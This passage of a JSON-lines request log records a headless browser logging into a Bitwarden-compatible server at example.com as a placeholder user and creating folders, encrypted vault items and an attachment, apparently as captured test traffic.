"scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=c2be2e36-3d11-4c06-8ba1-335675d058c6&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=956d620f-327f-4df5-99e1-7e907433bbd1&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/api/folders", "headers": ["Host: example.com", "Content-Length: 127", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA2NTIsImV4cCI6MTc5NDI4Nzg1MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI5NTZkNjIwZi0zMjdmLTRkZjUtOTllMS03ZTkwNzQzM2JiZDEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.nsIhN1Xu3znoozRrpinyJHICNbt-hqF-hF6utZkRAQsKqGP25WeOwRhiiay932ZIDHyDp5MpFnlAIHUG2ZifV0BMnQtTztqiLw4oRGFT_oOXSr2Q4hxwENQTjX2A3k1nC9yaKtzzwmZIHVnYMZvWOBcZ7kWE9LzgX3GiFivf3Pxear6TUu5m4SNm07vNgmoEzjvU83DYeJhsPQvFHwjxSaPlnKg2DjO--z3c5xKlmPMGmkRpoyjc3aAwXT3T3mbr7kUn_dKf1On1IlvVUMIE_1OIcEaJRb1iscxHokFs5WgnkG7Kio92cWAWCBzk7B8-z-e6eAI_2Y59fmOSy7xZ8w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"2.zvqHECD7DJhZvdxHAcURWQ==|H5AmHifDugbL0KqJrF8lF3ZB+ztLN/g2ML21y5WYYlw=|Ij+V3Bn/ktVCDC10Rfinxtrd+08DJYPzvB88xwnE2os=\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=efa4890d-fe4f-47d2-8c61-64b3db3cc752&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/api/ciphers", "headers": ["Host: example.com", "Content-Length: 1416", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA2ODYsImV4cCI6MTc5NDI4Nzg4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlZmE0ODkwZC1mZTRmLTQ3ZDItOGM2MS02NGIzZGIzY2M3NTIiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.aicYeYbu5CL2WLAr6Ws9A8ZeiP-_l0q44LIWHRw2pramR20ZJ6lFCz88PTRzgnMwwlHYpDoqX4GZXIMWJ-TCG8yoasgxqxFqUdV73oSkspnhrEtJ7tk4Lelo_RGEkY2P86SZPrIzWAJNmvNA57bHpfDL34tIjNDDOPQGaRPZE3CKOdnmqqWlfFkJx3F0lNnOdwiNqM5_cVQZj_X2r4HXVLtRhWoUcqGb8uRmYPT0M3qNnNAPwkXUnPDZrxtfAeOt_dLQYMsesiZag6k9M3PbET7XnuJR9ud_Y-hbh9gETqzYkC7XxMGjrnrBdme-zRwlDRgRlWMpodiS7jQjRRAYLg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"name\":\"2.z5hs4tbC5CX2JBkD4VcwuA==|rJnoBTK9rfs5WqBNdDPGcJ6/dfoMSXMgyJvS5jJjkWY=|+RhYjXLVpbQQQUEkgVPp0i419U7H+5rw25NylSsTbrI=\",\"notes\":\"2.EKbq3eMUSRn0Hsf4X7Aj7w==|L4MMjwZa2sB4USlig5HROru+xF7qOQPML/bxjBSVV6s8CwZUkI2KfJLcygLM4Mz+uN7zpI0JB4I+BqNPyHL8SmQsD4jecP0svveqkH4Ir5ScA4I1ZI9nKKw2ij9zNHfX|Wl/LGj753i+2saPecRRLxRL8nkz44WXsncc6NcP8nZw=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:18:22.538Z\",\"reprompt\":0,\"key\":\"2.aKbSf/p5rI3+ilXtcBB2gg==|iqoCQRDMhuansz7peNgtOF3sYKPa6YnLzm+z/7WLjVy6lrZ8xHivfTDfsS+pkHSquOUHwJpBh+esSAIW2UWJ12dg6opj8PSf3yU3oh0HiP4=|vGbeUzylcM57H7og00yWHED/keOeZtUwX090k0RNWWg=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.29y9Yq9DXD9R6HTL/3jF5w==|SFq02k/cunLh8romxHP+59hTTgjWQeEE/0euvd6QuLxo8+oN0/bmgEeU6C6NuU2A|AjQXTsxluYaSrXQ4QxZY+/VYX3zSZw3k+1yblKyVzFs=\",\"uriChecksum\":\"2.e+9sG5Fau4oikkl3eT/5xA==|AdH0iPec9b4Ft+W6CEFD0zS8U/pWaFlUudegjimQn5BnNgJMnj2vJywYS+VQLRLM|L03v/H5JWAZ2ZXa2jXVFn/zoY7kF9GRZZLZB6Kw2qnI=\"}],\"username\":\"2.V469GMxqUBkah+PZDSKMZg==|EiqgA/BSWJAL+NlJKOaqjw==|5ZKCAwotKT6RB8lOLZx8FG6srihhSlWb5WInbzSszRY=\",\"password\":\"2.oretlvGP2nOYTVKfo7pTcw==|SCN4uUhv0Y2ENFcHouLqCOKNMrLDeCL6/N1LQJD24rg=|VdxDpYtI6qugmrKonYxW7nE2SeLN+5GssYkkb4HFV2M=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[],\"attachments\":{},\"attachments2\":{}}"}
|
||||||
|
{"method": "GET", "target": "/icons/example.com/icon.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=68bf4d9c-780c-4192-bd8a-41a272c14413&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e934ef7b-6b36-4421-ac6c-2bce46150042&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/api/ciphers", "headers": ["Host: example.com", "Content-Length: 856", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA3NTEsImV4cCI6MTc5NDI4Nzk1MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlOTM0ZWY3Yi02YjM2LTQ0MjEtYWM2Yy0yYmNlNDYxNTAwNDIiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.PX-v7IJXm_Y212uDWQ0gBOj1yVAqhDPEZxo5SOYW5OffP1wR0tdAKTsavvrnv0NLTWfEwBPdwSmKuGIAv-HtuJutDpwm4f4GtneXms-f2Ax1UEAhc3bqhHHue9teXSv7YC8p1Ik50qgQ-MtyOoXE1OStlfv7IF33pawcZOdgMPoKTnW5f_90ydWDNuvhSrBj__UdHyNyPDBdsVhi4b9z9gsJ7J893itwXklKwjeaJbO8pErds-GJsiqfyayv0QBUl4MiQfuUyuTiwLwFY9_zQzzU7rC7t2r0LuLx3c0HVInRPmOAOieq5dWZzf5ApM9pQh5dRNPQIUJRqDeJqWbSrQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":2,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"name\":\"2.b7CFv95ZokmibuvTdEUD9Q==|frGi3t31pXlY6YbH85tUAy0SqRlks5WKZ821B84RaCM=|gCtMzl53++qtpO7m3Z3igKoKCHO1a2zO/SUny62+Yhs=\",\"notes\":\"2.Syz1oYYLl9iswsrX10u0eg==|38mV7HKkWd949xfGD7GOm3A+pLBMoLHrJt6tPU+GrNZy47FfJNPuNw0jTAy9ZvqIPuh+tfvRQxqgW8MDtHXJbhpNTwkmztIJ1LUdQDU+VbRWjiRrhFq2VC5YkdIBa9LrwQ6lhcjx/PsDTIUhZ0Q2sHF9gCJQ66HBjr/vAQtbvRk=|mP2uyOzS8lTIep1XH5lAT6IZy1N5Pks1Cnbr9XqcgGM=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:19:27.800Z\",\"reprompt\":0,\"key\":\"2.Gtpoy7RVxVNnzrkXqOzkjg==|ZEfdTXItnem5D7Eh0PnTPgwZIPjjNTv26W+fU3SYNN5mDAIlKIDP9Gt7SUmqI/R1xLyUrH5Vh/tg2BxN4Z6XivC6yCfe+guvJv2UTk0KgXA=|fTag4snzPkDrGNJ6q7lbz/HehqyuKLoG01PrAxNd6Pw=\",\"secureNote\":{\"response\":null,\"type\":0},\"fields\":[],\"attachments\":{},\"attachments2\":{}}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=96fc2d4e-83f6-4c41-bfd5-c8ec2f555bd4&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=504a6883-9ade-4f08-9a5d-6c17eeb477a0&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=5a99d594-ab10-4499-aa3c-b9317d4e5475&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "PUT", "target": "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d", "headers": ["Host: example.com", "Content-Length: 1486", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA4NTksImV4cCI6MTc5NDI4ODA1OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI1YTk5ZDU5NC1hYjEwLTQ0OTktYWEzYy1iOTMxN2Q0ZTU0NzUiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.rqH6irHL0Vlmd8SZoiSrx5YarTel81c5qR7HTxJvdNP3ebAv_xiyeGpu54FNheacdXjQ8RpkenVd8l52Kp_NSHObcJ5IIaTKCM1OyqYBiG83K6gQOAlGH2DcsXeufXczQbX_-ArXfq02aqfAtQ5aqczcuIDRoK-QApK1_oo2SnRuPBHww-71f3VXMcGWLF0cSXmj0JbJptvvsaGDRv1D5sKnRZAMSO1rU2LTMhvPlwYrw7GWCWMw9WziPdZoyBO24LGKGW8GibQKg31i0cwA38dUTvaQB0xl0BkZyXv5Px1MV0D0i-I9ubIQN3xXucnmosyFnhokxHjki4_bPOS72Q", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"folderId\":\"c237cd82-467a-4c5d-9497-289558b53894\",\"name\":\"2.9X5nSBWyYr6ag9ZkOBfEfg==|wrx0sT53uIr5Imfw1lb6Ob8QSIeIbPuPw/kHTF4NNu6En49/4u1EIhqjc7YD2VGC|r9Ne3ESFr5MTF8+oTRzAEl3Fp7peG9SDcfP9jvuwfIo=\",\"notes\":\"2.mevOP4NbCC+/rFva1e2cEA==|hx8GPMywv9f2kiE5eLCP+o978G/nniIm0KUQMyLdui2T4L4oHKjBOZ/bD5rq+ElcECpyjtcMYocyh1v5pCkZNxyxghbVmUUNzFUSswrUeKyYazRAkneYCuPLK0dBHeZA|5KA7ps39+mzQKsi/o2Gq/cUGdWC9HPQuJlD0CrupHvs=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:18:24.717Z\",\"reprompt\":0,\"key\":\"2.jHRM8r/PSUm/0GCmqPEQfQ==|ci46XxK/yHARbWEVmK5FaWPCrm4+wR+hk7m5InOvEEU9kXo7XC9baVDepWvAWG+iIpki0O1eZlo9RZheVFw5xEY87WJsgP9I33gFCWq/H2w=|mFBRXlb8PzphbeL9J5Zm8maVjF9MqM4luVjMVLehq60=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.TU3eEpiNeHB1wrISERB2PA==|4nHgMJ3od1dIXZvQVsDUHtT3iCIIUwmk7vKU+IBWomPxeKhim8M0Ol/RGym7PkEc|qTcQxkDM4+PH1NEKGOWMB7xxuUnosiabVgcHq8GYusc=\",\"uriChecksum\":\"2.K5cnRfwBqhCBF8B05yMgqw==|s5GzXKhdH26/yPy4UMkjl7w3Fkn8RWcPHYw6wBLC1qWMP8T9/OpTtQQ04+Bovxyc|7FBVRSxu7vsDmhxXISBoVjX6ZkxrhHSYrCtGqURNvP0=\"}],\"username\":\"2./IVE1G1CHvEXfiut/Ooq6Q==|NOEehVWQVC7Bs70T6uYHRQ==|Bewxw1S6naMXkTm37JkdNdIx7VSPfYR8w7tYPakPkbE=\",\"password\":\"2.Upbmr0/OHqQ6dVeOK/ATUw==|pMbpTa2plFb3JyOWd+9IfVfMz4tql3z5um0iZEmEIA8=|ZoZ7QAgf268psKxY0xUE7VaniInDvU2of4k4Qq5QTKQ=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[],\"attachments\":{},\"attachments2\":{}}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=527c89c1-a922-4e00-bf66-96067c0b616a&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d/attachment/v2", "headers": ["Host: example.com", "Content-Length: 407", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA4OTEsImV4cCI6MTc5NDI4ODA5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI1MjdjODljMS1hOTIyLTRlMDAtYmY2Ni05NjA2N2MwYjYxNmEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Tj1JgWJJ2jTkRAfUfluTX2ya1IolqIPOQhnaDS4iFOtRBV4Zu2q7X0Fn4_2EzkTs6LtD5aYJyRmGOaU1cswQ3YSsy5Uh901js4OYxTjkfMGHfOcVWDfF57K_EjVJnv42lxiwrvH5H